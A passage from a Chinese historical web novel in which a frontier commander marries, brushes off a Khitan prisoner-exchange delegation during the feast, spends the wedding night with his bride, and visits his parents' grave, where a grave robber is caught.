王婶压低了声音,说着只有母女间才说的体己话,说着说着自己倒先忍不住咯咯笑了起来。
王春兰端着一碗热气腾腾的红糖水进来,笑着塞到月娘手里:“妹子,别紧张,女人都有这么一遭。秦知寨是顶天立地的好汉子,最会疼人了。”
屋子外面,李铁匠正带着几个徒弟,把明天迎亲仪仗要用的兵器擦得锃亮。刀枪必须闪得能照出人影,这才配得上知寨大人的威风。
旁边的衣甲坊里,几个手巧的媳妇正进行最后几针。
大红绸缎的盖头上,一只金色的凤凰已经绣完,正引颈长鸣,活灵活现。
“好了好了,咱们月娘妹子,不,
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是将军夫人戴上这个,保管把秦知寨看得眼睛都直了!”
一个性子爽利的媳妇笑着打趣。
引得屋里的妇人们一阵善意的哄笑。
临时搭建的大灶房里,更是蒸气腾腾,香味扑鼻。
掌勺的大师傅叫程河,以前在青阳郡城的大酒楼里干过,这次是被老保长特意从镇上请来的,当了这次婚宴的“总管”。
军寨给的酬劳实在丰厚,他没法拒绝。寨子里所有会做饭的汉子、婆子们都召集起来。
清点食材,分配活计,摩拳擦掌,准备在婚宴上好好露一手,让全寨子的军民都跟着好好吃一顿。
这会儿,程河正指挥着人去屠宰厂搬来冻成坨的马肉当作主打肉食,让夫人们准备配菜。
他忙着脚不沾地,又看到外面差借过来帮忙的屠宰队伍,正分解一头刚宰杀好的大肥猪。
“这后腿肉肥瘦正好,最合适做扣肉,赶紧用酱料给我腌上!”
“背上那条里脊肉割下来,这是做生鲜的极品原材。”
“唉,还得想想办法,看能不能凿开冰窟窿,捞些鲜鱼上来,大喜的日子,宴席上可不能少了鱼!”
就在这一片忙碌中,张富贵带着林军从双涡堡赶来。还正好带来了不少新鲜的野味和鱼获,直接送到了灶房,算是又添了几样好菜……
腊月十六开始,离得较远的富户带着贺礼到来。
腊月十七,青阳郡城县令韩齐告假亲自带队赶来,县尉刘伟也换上得体衣裳,送上厚礼。
郡守林安国果然因公务缠身未能亲至,却派了心腹张崇带队出席,以示重视。
林婉儿又一次跟着队伍来了,此次还有护卫随行。只是女孩入寨看着喜**火的布局,脸上强颜欢笑,眉眼间总带着一丝挥之不去的哀伤。
秦猛越发繁忙,既要统筹防务、还得被王槐老爷子揪着抽空学习成婚礼仪,反复演练步骤,生怕关键时刻出错,惹得来观礼的宾客笑话。
一应接待事宜,多是诸葛风带着李恒等人周全应对。
傍晚时分,一骑背插令旗的快马自幽州方向飞驰而入,带来了赵起将军的祝贺与一份丰厚的贺礼。
鹅毛大雪仍不间断地下着,原野上皑皑积雪愈厚,唯独铁血军寨内外主干道并无多少积雪。
——全赖大批劳力在营建暂停后被组织起来,分批分段持续清扫。
通往双涡堡、白松岭矿洞的道路,亦有队伍定期维护,积雪被铲净后直接运至河畔倾倒。
军民们顶着风寒,呼着号子,趁机加固那一圈雪墙防线,或将积雪用力压实,备作御敌的雪弹。
第206章 大喜的日子
腊月十八,清晨。
连续多日的大雪竟在凌晨悄然停歇,乌云散开,东边天际透出几缕金黄的阳光,映照着银装素裹的军寨,仿佛天地也为这场婚礼让路、添彩。
寨子里的积雪已被提前清扫,露出干净的道路,屋檐下、树梢上,到处挂满了大红灯笼和喜字,在白雪的映衬下,红得格外耀眼。
官署内外更是张灯结彩,人声鼎沸。
天刚蒙蒙亮,秦猛就被王槐、诸葛风等人从床上拽了起来。一番梳洗后,他换上了量身赶制的新郎服。
一身红色的锦袍,胸前扎着一朵丝绸红花。平日里的杀伐之气被这身喜庆包裹,他脸上露出和善的笑,竟透出几分难得的局促和英挺。
“吉时到!迎亲咯!”
随着客串司仪的庞仁,一声刻意拉长了调子的高喊,官署门口顿时锣鼓喧天,唢呐齐鸣。
秦猛深吸一口气,在王善、张富贵等一众弟兄的簇拥下,翻身骑上了一匹同样佩戴着红花的踏雪乌骓。迎亲队伍浩浩荡荡地出发了。
队伍最前面是吹吹打打的乐班,卖力地演奏着欢快的曲调。**带着几个亲兵,不断地将点燃的炮仗扔向路边,噼啪作响,更添热闹。
孩子们不知从哪个角落涌了出来,围着队伍又蹦又跳,拍着手唱着边陲流传很广的童谣。
“新郎官,娶娇娘,生个娃娃白又胖……”
张富贵和王善笑着,将大把大把的红壳花生、果脯喜糖撒向人群,引得孩子们欢呼争抢。
队伍沿着寨子主路,径直朝着李铁匠家走去。
李铁匠家门口早已被看热闹的军民围得水泄不通。
秦猛翻身下马,却遭遇“刁难”,王婶和王春兰带着一群妇人堵在门口,笑着伸手讨要红包。
“新郎官,新娘子可是我们的宝贝疙瘩,想这么容易接走可不行!”
“就是,秦大人,得看看你的诚意!”
秦猛笑着示意,张富贵赶忙将准备好的红封塞了过去。又说了好话,一番笑闹,才得以通过。
屋内,陈月娘凤冠霞帔,头顶着绣有金凤的红盖头,由秦小芸和王艳陪伴着,端坐在炕沿。
尽管盖头遮面,但陈月娘听见动静呼吸急促,微微颤抖的指尖,显露出她内心的激动与紧张。
秦猛上前,按照之前学的礼仪,向作为长辈的王婶等人行了礼,然后在众人的起哄声中,一把将新娘抱了起来,稳稳地走向门外的花轿。
秦小芸,王艳在后面追着,咯咯直笑。
“起轿!”随着一声吆喝,迎亲队伍再次动了起来。敲锣打鼓,绕着军寨主要道路缓缓行进了一圈,让全寨军民都沾沾喜气,这才折返回官署。
与官署的热闹不同,军寨外围的防御却丝毫未松。
副将秦大壮身着甲胄,手持**,正站在寨前军营的高台上,目光锐利地扫视着操练的五百步兵。
士兵们队列整齐,动作划一,**刺出时齐声呐喊,声震雪地,丝毫没有因主将大婚而懈怠。
前寨门处,刘铁柱率领三百弓箭手严阵以待,弓弦半拉,箭矢上弦,目光紧盯着界河方向,凛冽的寒风中,他们的身影如青松般挺拔。
刘大牛的犬兵队则化整为零,几十条精壮的军犬在士兵的带领下,穿梭在各营区与要道之间,灵敏的嗅觉与听觉,成为军寨最警惕的“防线”。
飞虎卫周扬坐镇临时驻地,帐内沙盘清晰标注着界河对岸的草原地形,近两千精锐将士全副武装,分为三队轮流值守。
——这是秦猛早已定下的规矩,哪怕是他的大婚之日,边寨的安危,也容不得半分侥幸。
此刻的官署正厅已被布置成喜堂,红烛高照,宾客满堂。
南河城寨的常胖子、磐石营副将李雄,青阳郡的韩县令、刘县尉、张琨,郡守心腹张崇,以及等有头有脸的宾客均已在此等候观礼。
上首位置摆着两把椅子,一把坐着德高望重的老保长,笑容满面。
另一把则空着,象征性地为秦猛已故的双亲而设。
秦猛下马,从花轿中接过红绸缎带的一端,另一端由新娘握着。他牵着陈月娘,低声说“跟着我”,小心翼翼地跨过门口燃烧着的火盆。
寓意祛除晦气,迎来红红火火的生活。见新郎牵着新娘来了,略显嘈杂的厅内顿时安静下来。
所有人的目光都聚焦在这对新人身上。
人群角落,林婉儿悄悄踮着脚尖,目光紧紧黏在那对身影。看着秦猛牵着陈月娘一步步走向喜堂,她下意识攥紧了双拳,指甲几乎嵌进掌心。
女孩心里默念着“秦将军,月娘姐,祝你们百年好合”,可眼底的羡慕却如潮水般汹涌。她多希望此刻头顶红盖头,被他牵着的人是自己。
林婉儿眼眶泛红,看着秦猛挺直的脊背,想起他那日里领兵作战的飒爽、处理寨中事务的沉稳,心跳不由得加快,脸颊也飞起红晕。
“妹子,喜欢一个人,那就勇敢一些。”
这时,身旁传来温和的声音,林婉儿猛然惊醒,见自家堂哥林怒正满脸微笑,俏脸更红了。
这位二十五六岁的青年笑容温和,眼神里满是了然:“自从来到幽州后,多有听闻这位秦将军,来到军寨所见所闻,这位秦大人绝非等闲之辈。自古美女爱英雄,岂能无红颜知己?”
“嗯,我知
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道,”林婉儿听着堂哥的话,原本有些黯淡的眼神渐渐亮了起来,她松开紧攥的拳头,最后重重一点头,仿佛在给自己打气。
在众目睽睽之下,秦猛牵着新娘到了王保长前方。
司仪庞仁清了清嗓子,用前所未有的洪亮嗓音喊道:
“吉时已到,新人行礼——!
“一拜天地!”
秦猛与陈月娘转身,向厅外天地躬身一拜。
“二拜高堂!”
两人转向端坐的老保长和那把空椅,深深拜下。老保长露出慈祥的笑容,眼眶也有些湿润。
“夫妻对拜——从此同心,白首不离!”
新人相对,彼此弯腰对拜。透过盖头的缝隙,陈月娘能看到秦猛坚定的目光,心中满是踏实。
“礼成——送入洞房!”
在众人的欢呼和祝福声中,礼成。
新娘被送入后院新房,秦猛则被众人留了下来,准备接受敬酒。
官署内、外面的打谷场、校场、乃至附寨的军营,都摆开了长长的酒席。大盆的炖肉,大碗的菜,大坛的佳酿被搬了上来,香气四溢。
全寨军民,无论尊卑,无论男女老幼,今日都可开怀畅饮,军卒分批次入席,共享主将的喜悦。
秦猛正被众人簇拥着,准备向主桌的宾客敬第一碗酒。
然而,他刚端起酒碗,一声急促而尖锐的号角声,突然从烽西北方向的燧堡传来,瞬间压过了现场的喧闹!
喧闹欢笑声戛然而止,人人面面相觑。
接着,一名探马疾奔而入,穿过筵席,单膝跪地急报:
“大人!冰河上来了十几契丹骑兵,打着白旗,为首者喊话,说要见大人谈判,交换俘虏!”
**来了?宾客们你看我我看你,欢乐的宴席气氛瞬间冻结。
秦猛端着的酒碗停在半空,脸上笑意迅速敛去,眼神锐利如刀:“这群家伙真是不省心呐!”
“大家,不用慌,继续吃喝,”秦猛朝官署大厅二十多桌客人挥手示意,露出镇定的笑容。
“**营地被我军端掉,没了补给,他们不敢来。各位来宾吃着喝着,稍等片刻,秦某去去便回。若是**懂礼,顺便领过来,吃杯喜酒。”
他吩咐老保长王槐,李根生,诸葛风等人招待宾客。
“秦知寨,换身衣甲再去……”王槐略微担忧的提醒。
“用不着换,**来了正好,那便拿他们来助兴。”秦猛做了个罗圈揖,说了声“还请多担待”。
说完,他红袍甩动,大步向外面走去。
部将王善和**,牛五等亲兵跟随。
鲁真,张崇,赵平,王魁等将领各自带着人紧随。
第207章 特殊的‘邀请\’
拒马河冰面辽阔,寒风卷着碎雪沫子呼啸而过,将秦猛身上的大红锦袍吹得猎猎作响。
他身后跟着王善、牛五等十余名亲兵,个个穿着铁甲,手持刀枪,呈扇形散开警戒。
与秦猛面带笑容和身上喜庆的衣袍形成鲜明对比的,是他们冰冷的目光和紧绷的肌肉。
契丹骑兵约有十五人,皆身着铁甲,手握弯刀。
为首的契丹探子是个满脸络腮胡的汉子,是萧铁鹰亲兵,上次“王对王”时曾被秦猛震慑。
见秦猛一行人到来,打量着这位一身红袍的周将。
以及他身边的牛五!
没错,就是上次会面商谈的牛大炮。
此刻,隔着七八十步远便勒马驻足,死活不肯再向前半步。
只让身边一名通译官高声喊话:“秦将军!我家萧大人、勃发斤大人有令,想与你商议俘虏交换之事,若有诚意,便到河心来谈!”
秦猛闻言,嘴角勾起一抹冷笑,声音洪亮如钟,无需亲兵传话也能让**兵清晰听见:“河心?上次你们设下的圈套,当本将忘了?
今日是我大喜之日,没功夫陪你们耍花样!”
他抬手示意,两名亲兵立刻上前,将一卷写满条件的羊皮纸展开。
“上次交给你们的俘虏有三百多人。
这次几场战役又抓到五百个,加起来共有八百余人。
价格依旧没变:一个普通鞑虏俘虏,换5匹马、10只羊;若是军官,20匹马、5头牛,10只羊起步。
至于大当户和千夫长,就要付出成群的牛马。”
会说契丹话的亲兵如实传达秦猛的话,声音在河面上回荡。
“这是今年交换的价格,到了明年开春,这些人吃喝拉撒都需要钱,所需的牛马只会更多。”
对岸的契丹游骑脸色狂变,这代价实在太大了。
“这是军寨给出的条件,你们给马匹,我们立刻放人。
要是不想交换,那我就把他们送去矿山做苦力。”秦猛察觉这些人神色变化,声音冰冷无情。
他又让人将写有俘虏姓名、军衔及所掌职权的腰牌、金刀等物高高举起。
“萧克、巴蒂尔,这些人皆是你们军中骨干。
另有七八个百夫长,个个本事不小,其中大多是贵族子弟——他们的价值,你们比谁都清楚!”
那契丹探子脸色微变,还想再说些什么,却被秦猛抬手打断。
“回去告诉萧铁鹰和勃发斤,想谈,就让他们亲自来我军寨!
今日我大婚,正好请他们喝杯喜酒,顺便把交换条件一并议了。若不来,那就只能等三天后,本将才有时间与你们扯皮,恕不奉陪了。”
说罢,秦猛不再看对岸的反应,转身便吩咐:“我们走!”
那队契丹骑兵不敢怠慢,立刻策马返回,将话语转达。
界河对岸的草原上,萧铁鹰、勃发斤正与几名契丹将领围坐在军帐中,面色凝重地商议着。
得知秦猛身着大红喜袍邀请他们去军寨喝喜酒一事,帐内众人皆是面露疑色,无人敢当真。
“这秦猛定然没安好心!”一名大当户咬牙道。
“他刚打了胜仗,士气正盛,此刻邀请我们去他军寨,分明是设下了圈套,想把我们一网打尽!”
勃发斤也点头附和:“上次河心会面,萧酋帅便吃了亏,这次他又搞出这等名堂,绝对是故意的!
他穿着喜庆的红袍,就是想让我们放松警惕,一旦我们踏入南岸军寨,必定凶多吉少!”
萧铁鹰沉默片刻,缓缓开口:“秦猛此人,心思缜密,行事向来不按常理出牌。
今日是他大婚之日,却仍让军卒严阵以待,可见其戒备之心。
我们切不可轻举妄动,先派人盯着军寨动静,再从长计议!”
帐内众人纷纷点头,无人敢提议前往军寨赴宴。
在他们看来,秦猛的这份“邀请”,不过是另一场阴谋的开始。
他们一致决定,等过一两天再派人尝试换俘事宜。
与此同时,秦猛带人返程,王善和**等人询问:“大人,万一**真的来了,该当如何?”
秦猛嗤笑一声:“他们不会来,只会以为这是我的阴谋,不敢来攻,生怕跟萧酋帅一样损失惨重。”
秦猛话虽这样说,但却没有过分狂妄。还是让秦大壮和刘铁柱不得放松警惕,防止被偷营。
这时,鲁真快步上前,拉着身后一名身着青衫的青年追上秦猛。
他笑着介绍:“将军,这位是林怒兄弟,武功卓绝,尤其一手祖传枪法,更是出神入化。
昨日刚到军寨,洒家本想今日宴席上再引荐,正好这会儿遇上了。”
林怒上前一步,拱手行礼,不卑不亢地说:“见过秦将军,久闻将军威名,林某甚为敬佩。”
“咦,林兄弟有点像……”秦猛笑着摆手,上下打量这个身姿挺拔的青年,突然觉得他相貌有点眼熟。尤其是侧脸和眉目之间像是见到过。
林怒笑了笑,目光坦荡,毫不避讳地直言:“秦将军,实不相瞒,家叔便是燕北郡林郡守。”
林安国的侄子?秦猛这才恍然,就是这位熟人。他笑容更加亲切:“原来是林大人的贤侄。林大人未能前来,不知他身体是否康健?”
“多谢将军挂念。”林怒也笑着回应,逐渐热络。
“听闻将军在幽州抗击**,保境安民,特来投奔,愿入边军为军寨效力,助将军一臂之力!”
秦猛闻言,眼中闪过一丝讶异,随即露出爽朗笑容,拍了拍林怒的肩膀
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:“我听林姑娘说过,林家枪法威名,今日得你相助,真是如虎添翼!
走,随我回厅中,先喝杯喜酒!”
一行人说说笑笑,重返官署宴会厅,厅内早已沸腾。
老保长在东席与乡绅耆老谈笑风生,李根生招呼百姓长者,诸葛风于西席同军中将领推杯换盏。
四角灯笼亮如白昼,酒肉香气混着鼎沸人声,喜宴非但没有中断,反而比迎亲时更显热闹。
秦猛带人刚推门进来,便被众人的目光锁定。
“新郎官回来啦!”一声呼喊未落。
常胖子端着酒杯率先挤来,韩县令、李副将紧随其后。
“秦将军抱得美人归,当浮一大白!”常九声音洪亮,压过周遭喧嚣。
韩齐捻须笑道:“英雄佳人天作之合,本官敬你一杯!”
“秦兄弟废话不多说,都在酒里了!干了!”李副将把酒碗撞得哐当响。
秦猛抱拳环顾,取过托盘里的酒碗,仰头一饮而尽。
酒液甘冽滑喉,非但没冲散喜气,反倒让他眉梢的笑意更浓。
这边刚应付完,张富贵、李山便带着军中弟兄围上来,个个端着小酒坛,脸上挂着“不怀好意”的笑。
“将军大喜之日,这碗酒您若是不喝,弟兄们可不答应!”张富贵抢过空碗,咕咚咕咚满上。
“小南河堡能有今日,全靠将军带领!这碗是弟兄们的心意,您必须喝!”李山举着酒碗帮腔。
秦猛笑骂“你们这几个混球,合谋来灌我是吧”,却还是痛快接碗,再度饮尽,亮出碗底时引来一片叫好。
按婚礼规矩,秦猛这新郎官需挨桌向宾客敬酒。
他整了整褶皱的大红喜服,从军中将领敬到地方乡绅,再到商户代表与百姓长者。
王善、**抱酒坛紧跟在后斟酒,乌维、牛五左右“挡酒”,分摊压力,却难敌众人热情。
无论谁敬酒,秦猛都谈笑两句,碗碗见底,尽显豪迈。
这时代的米酒虽只十来度,口感清甜,却架不住量大。
喝到天色染墨、星子初现时,他已满脸通红、脚步虚浮,连打酒嗝的声音都带了浓重鼻音。
旁人问“将军是否醉了”,他还瞪眼反驳:“谁醉了?我没醉!还能喝!”,一副醉汉状态。
老保长见张富贵等人还想劝酒,赶紧上前训斥:“你们这几个混球,没看见新郎官都这样了?耽误正事,看月娘丫头怎么收拾你们!”
他转头催王善、**:“塄着作甚?快扶将军入洞房!”
张富贵缩了缩脖子,随即眼珠子又转了起来,凑到李山耳边嘀咕两句,被拒后只好讪讪收手。
随后,他计上心头,拉上微醺的牛五、乌维,悄悄尾随着被搀扶的秦猛,往后院新房摸去。
第208章 洞房花烛夜
新房里,红烛高照,暖意融融。
陈月娘一身红妆,端坐于铺着大红鸳鸯喜被的床沿,双手紧张地交叠在膝上,虽被盖头遮住了视线,但耳边却尽是姐妹们的欢声笑语。
林婉儿、秦小芸、王艳、红姑和文琴五位女子围坐一旁,屋内俨然成了个小型的女儿家茶话会。
“月娘姐姐这身嫁衣可真好看,这绣工,这料子,怕是城里最好的绣娘也赶不上。”王艳人小鬼大,摸着嫁衣的袖口,语气里满是羡慕。
“可不是嘛,”文琴笑着接话,“咱们将军真是好福气,能娶到月娘这样又贤惠又俊俏的媳妇儿。”
红姑作为过来人,心思更为细腻,她瞧着虽也面带笑容、却比平日沉默几分的林婉儿,打趣道。
“婉儿妹子,你看你月娘姐今日多风光。等你日后出阁,咱们也定要给你办得热热闹闹的。”
林婉儿闻言,脸上笑容绽开,眼底却快速掠过一丝难以察觉的黯淡,她亲昵地挽住陈月娘的胳膊:“那是自然!
月娘姐姐苦尽甘来,能找到将军这样的如意郎君,我真心为她高兴。只盼将军日后能一直待姐姐这般好。”
她这话说得真诚,却也掩不住那一点若有若无的酸涩。
红姑将这一切看在眼里,心下明了这丫头怕是也对那位秦将军存了几分心思,只是今日大喜,不便点破,只是不动声色地岔开话题。
正当秦小芸也叽叽喳喳加入讨论,好奇哥哥何时才来时,门外终于传来了熟悉的、带着醉意的脚步声和呼唤:“月娘…月娘…我回来了…”
秦猛一路走得摇摇晃晃,嘴里含混不清地念叨着,好不容易才走到新房门口。他挣脱开王善、**的搀扶,推开那扇贴着大红“囍”字的房门。
门轴“吱呀”轻响,床沿端坐的陈月娘立刻起身。凤冠珠翠轻晃,红盖头遮着容颜,只露紧抿的红唇与微微颤抖的肩头,她手心早沁出薄汗,指尖泛着凉意。
“小芸,快扶你哥!”她听出男人醉了,声音急切,拉着秦小芸快步上前,一左一右架住秦猛胳膊。
“猛哥…官人,怎喝这许多?乌维他们没帮你挡酒吗?”盖头下的声音柔婉带忧。
秦小芸仰头看他泛红的脸:“哥,头晕不?我去倒醒酒汤!”
“没…没事!”秦猛大着舌头回应,借势坐在床边,床榻轻轻晃了晃。
林婉儿也到了桌边倒茶,却见他突然挺直腰背,迷离眼神瞬间清明,哪里还有半分醉态?
原来,秦猛自认为自己能喝几斤白酒,宴席上的醉态,竟是大半装的,只为早些脱身陪新娘。
他转头看向凤冠霞帔的陈月娘,目光温柔得能滴出水,又对屋内喜娘们拱手:“多谢诸位陪月娘,明日月娘设宴招待,每人都有大红包。”
“恭喜将军大婚!”红姑笑着还礼。
文琴也道:“能见证这桩喜事,是我们的福气。”
林婉儿眼神在两人间转了圈,嘴角勾着意味深长的笑:“将军与夫人早些歇息,我们不碍眼了。”
说罢,女孩拉着秦小芸,催着红姑、文琴等人离开。
秦小芸被拉出门时,还不忘回头喊:“哥,别欺负月娘姐!”
“你这丫头不学好!”秦猛无奈笑了笑,注意力重新落回陈月娘身上,轻声唤道“”:“娘子——”
指尖微颤,他捏住大红盖头一角,缓缓挑起。
红烛火光映在陈月娘脸上:柳眉细长弯弯,杏眼水润明亮,粉面桃腮,肤如凝脂且泛着红晕,唇点嫣红口脂,比往日多了几分娇艳。
宽松喜袍难掩玲珑身段,肩颈优美,腰肢纤细,宛如画中新娘。
秦猛一时竟看得痴了,目光灼灼,半晌才低哑着嗓音赞道:“娘子…你真美。”
陈月娘被他看得羞不可抑,脸颊飞起两朵红云,更是艳若朝霞,她微微垂下眼睫,声如蚊蚋:“官人……”
秦猛回过神来,柔声道:“娘子,我们还未喝交杯酒。”
说着,他起身走到桌边,取过那对用红绳系着的匏瓜酒杯,小心翼翼地将甘醇的酒液斟入其中。
两人回到床边,手臂相交,四目相对,都能从对方眼中看到自己的倒影和浓得化不开的情意。
他们将杯中酒一饮而尽,象征着从此夫妻一体,甘苦与共。
放下酒杯,两人相视一笑,空气中弥漫着甜蜜而温馨的气息。
“官人,天色…天色不早了……”陈月娘鼓起勇气,声音低得几乎听不见,脸颊红得快要滴出血来。
秦猛心中一动,正欲俯身,耳朵却敏锐地捕捉到门外传来一丝极细微的、压抑着的呼吸声。
他眼中闪过一丝了然的笑意,随即又化作一抹“怒意”。猛地站起身,对陈月娘做了个“嘘”的手势。
然后,秦猛如同捕猎的豹子般,一个箭步悄无声息地窜到门口,以迅雷不及掩耳之势拉开了房门!
“哎哟!”
“咚!”
门外,正撅着屁股、耳朵紧贴门缝的张富贵和王善猝不及防,被这突然打开的门带得向后一个趔趄,差点摔倒。
而趴在更下面位置偷听的**和牛五,更是毫无防备,直接失去平衡,狼狈不堪地滚进了新房之内!
乌维个子最高,站在最外层,倒是躲过一劫,向后跳了几步,对上秦猛的眼,心虚地挠头赔笑。
“笑个屁!”秦猛瞪眼,乌维立刻缩着脖子噤声。
秦猛双手抱胸,脸色故作阴沉,居高临下地看着地上滚作一团的四人,大声喝斥道。
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“好你们几个混球!宴席上我就看你们眉来眼去的不对劲,果然跑来听老子的墙角,皮痒了是吧?”
张富贵反应最快,一骨碌爬起来,也顾不上拍打身上的灰尘,就朝着秦猛连连拱手,脸上堆起了笑:“将军息怒,息怒……属下这不是…这不是担心您喝多了,怕您摔着嘛!
嘿嘿,祝将军和夫人早生贵子,白头偕老!俺这就滚……”
说完他竟毫不讲义气,转身脚底抹油,嗖地一下就溜得没影了。
“大人明鉴!都是那大胡子出的馊主意,怂恿我们来的!”**赶紧指着张富贵的背影揭发。
“对,对……这家伙坏得很!”王善和牛五也连忙附和,试图将功补过:“这厮还说,几年前,他大婚的时候,大人也曾扒过他的墙角根。”
“放屁……”秦猛骂声戛然而止,好像,似乎,或许还真有这么一回事,毕竟这身体脑袋不正常。
他看着张富贵消失的方向,笑骂一声:“张富贵,算你这厮跑得快,明天再跟你算账!”
然后他转过头,板着脸对剩下的四人下令:“王善、**、牛五,大个子,你们几个好歹是将领。岂能做这种事?立刻给我到后院门口守着,谁也不准靠近婚房半步,再让我逮着……”
“是是是!属下遵命!”四人如蒙大赦,连滚爬爬地跑了,生怕跑慢了,秦猛又改变主意。
秦猛见他们跑远了,这才满意地重新关上门,仔细插好门闩,确保不会再有不速之客打扰。
他转过身,红烛温暖的光晕笼罩着整个房间,也笼罩着因这小插曲而愈发显得娇羞无限的新娘。
秦猛笑着张开双臂,快步朝新娘走去。
“娘子,春宵一刻值千金,那些碍事的家伙总算滚蛋了……”
陈月娘发出一声娇柔的惊呼,已被他打横抱起,双双滚入那铺着柔软大红鸳鸯被褥的婚床之上。
“哎呀,官人…喜烛…喜烛还没吹呢……”陈月娘红着脸依偎在他怀里,声若细丝。
秦猛低头看着怀中人儿水汪汪的眼眸,朗声笑道:“没事,亮着就亮着呗,正好让老子看看,是哪个不怕死的夯货还敢来听墙角?”
“官人…别…呜…”
话语未尽,已被温柔的吻封住了。
床榻边,那对龙凤喜烛欢快地燃烧着,流下喜悦的泪滴,跳动的火光将床帐上亲密交织的人影拉长,又缩短,仿佛在无声地述说着缠绵。
大红的喜服、腰带、绣鞋…一件件悄然滑落在地,诉说着夜的旖旎。
窗外,皎洁的明月似乎羞于窥见室内的无限春光,悄悄拉过一片乌云遮住了脸庞,外面寒风呼啸,而婚房内的温度,却早已比那墙角熊熊燃烧的炭盆还要灼热,还要令人心醉。
第209章 祭先茔,擒毛贼
次日清晨,晨曦的光亮透过窗棂,洒进婚房里。
秦猛悠悠转醒,打了个哈欠,只觉得神清气爽,多日打仗的疲惫,好像自洞房后就一扫而空。
他低头一看,陈月娘正依偎在自己臂弯里,睡得香甜,脸上还留着昨晚的红晕。
她长长的睫毛轻轻颤着,嘴角带着点若有若无的笑意,紧紧搂着他的胳膊,像是怕他跑了似的。
秦猛嘴角勾起一抹笑,刚想轻轻抽回手臂起身,没成想这点动静,就把浅眠的陈月娘惊醒了。
她睁开蒙胧的睡眼,看见秦猛正望着自己,脸上瞬间红了,声音带着刚睡醒的软糯。
“官人,你醒啦?”
“我这就起来伺候你穿衣洗漱。”
说着,陈月娘就想撑着身子坐起来。可刚一动,就忍不住“哎呦”轻呼一声,眉头皱了起来。
“怎么了?”秦猛心里一紧,赶紧扶住她,关切地问。
他目光扫过床榻时,一眼就看见床单上那块绣着鸳鸯的白手帕,上面几点落红特别显眼。
秦猛瞬间明白咋回事了,又想起昨晚折腾了半宿,心里顿时涌起满满的心疼,一把把陈月娘重新搂进怀里。
他语气带着不容拒绝的疼惜:“行了,别乱动!你好好歇着,你男人我有手有脚,又不傻,自己会穿衣、洗漱,哪儿用得着你伺候。”
陈月娘听着秦猛话里的疼惜,心里甜滋滋的,把发烫的脸埋在他结实的胸膛上,乖巧地点点头,小声应道:“嗯,我都听官人的。”
两人又依偎着说了会儿情话。
直到窗外天越来越亮,军寨里操练的口号声传了进来,秦猛才轻轻放开陈月娘,利落地穿上常服。
他打开房门,深吸一口清晨又凉又新鲜的空气,浑身打了个激灵,脑子更清醒了。
秦猛抬头一看,零零散散的雪花正打着旋儿往下飘!
“这又下雪了?”他嘟囔一声,快步去了小伙房,亲自动手煎了七八个荷包蛋,又盛了大半坛米粥、拿了十几个馒头,便赶紧回了新房。
——按规矩,他也跟陈月娘说好,今天得一起去父母墓前上香祭拜,告慰爹娘的在天之灵。
后院的婚房里,暖意融融。
陈月娘早就梳洗好了,穿着绯色的棉裙,乌黑的头发轻轻挽着。
经过昨晚,她眉眼间多了几分新媳妇的娇羞和韵味。
秦小芸、林婉儿、王艳三个姑娘正围坐在一旁,有说有笑的,话题自然绕着新婚的事打趣。
“月娘姐姐,你今天真是容光焕发,好看极了!”秦小芸心直口快,拉着王艳一个劲儿夸赞。
陈月娘顿时脸红到了耳根,笑而不语。
林婉儿像是懂些门道,也抿着嘴笑,脸颊泛着桃红,更显温婉。
“月娘,先吃点东西垫垫肚子。”秦猛推门而入。
“官人回来了。”看见秦猛回来,陈月娘连忙迎上去,“香烛、纸马这些东西,都已经准备好了。”
“嗯,天色还行,雪下得不大,先吃点东西,咱们就出发。”秦猛点点头,握了握她微凉的手。
“我也正好还没吃呢!”秦小芸看见桌上的米粥煎蛋,欢呼一声,拉着王艳、林婉儿一起坐到桌边。
没多久,众人吃完早饭,亲兵已经备好马车。
陈月娘、秦小芸上了车,王艳和林婉儿也坚持要去。
秦猛跨上踏雪乌骓,几十名精锐亲兵披甲持械,护卫着车队驶出军寨,往寨外荒凉的山岗赶去。
秦家早已经没落了。
秦猛父母的墓地很普通,就在一处背风的山坡上。积雪几乎把低矮的土坟埋住了,只有一块粗糙的青石墓碑立在那儿,透着过去的贫寒。
秦猛和陈月娘亲手清扫积雪,摆上简单的祭品,点燃了香烛。
纸钱烧起来,青烟袅袅,混着雪花飘向灰蒙蒙的天空。
两人并肩跪在墓前。
“爹,娘,”秦猛声音低沉,却透着说不出的郑重:“不孝子秦猛带着秦家媳妇陈月娘来看你们了。”
陈月娘泪光莹然,接口哽咽道:“爹,娘,你们放心。猛子哥他……他已经好了,很有出息,如今是知寨官,是朝廷认可的飞虎卫正将……”
“爹!娘!”秦小芸触景生情,想到父母没能亲眼看到今天的光景,忍不住扑到墓前放声大哭。
“哥哥和月娘姐都好好的,咱们秦家好起来了,家里钱粮无忧,你们要是还在……该多好啊……”
林婉儿和王艳在一旁抹着眼泪,赶紧上前轻声劝慰,把小芸和月娘扶了起来。
秦猛沉默了好一会儿,亲自带着亲兵把坟周围的积雪彻底扫干净,拔掉枯草,简单修葺了一下。
“秦大哥,要不请石匠来,把坟茔好好修缮一番?”林婉儿看着眼前简陋的土坟,轻声提议。
“是啊官人。”陈月娘眼前一亮,跟着点头:“爹娘的坟头太朴素了,修缮一下也显得咱们孝心。”
秦小芸更是急着附和:“就是就是,哥,咱们现在又不缺银子,就让爹娘的坟气派点!”
秦猛却缓缓摇了摇头,目光扫过四周荒凉的山岗:“哎,不用这般折腾,太过抓也反而引人窥伺,这样安安静静的,反倒没人打扰。”
他顿了顿,补充道:“明日我去找军寨里的石匠,刻一块新墓碑换上就行,其他的不用动。”
林婉儿和陈月娘脸上还带着几分不解,显然没琢磨透秦猛的心思。
秦小芸性子直率,刚要开口追问。
忽然,从不远处的林子里,传来王良的骂声:“跑!你小子倒是接着跑啊?看你能跑到哪儿去!”
秦猛眉头一皱,当即对身边亲兵吩咐了两句,带着一队人快步朝着林子走去。
陈月娘、林婉儿几人相互对视一眼,也好奇地跟了上去。
众人刚走进林子,就看见王良正带着几个军汉,把一个汉子按在雪地里拳打脚踢,嘴里还不停骂着:“让你挖祖坟!让你干这缺德事。今天不揍得你记住教训,老子就不姓王!”
“住手,怎么回事?”秦猛走上前,沉声询问。
王良听见秦猛的声音,连忙停下手,指着地上的汉子解释:“大人,俺们刚才侦查返回时,想着进林子看看能不能打几只山鸡野兔。
结果山货没找着,倒撞见这毛贼,正撅着屁股挥着锄头,在人家祖坟上刨呢!”
几个亲兵纷纷附和着:“就是,这死灰八可恨。俺们赶紧散开把他围住,这才把人给摁住了!”
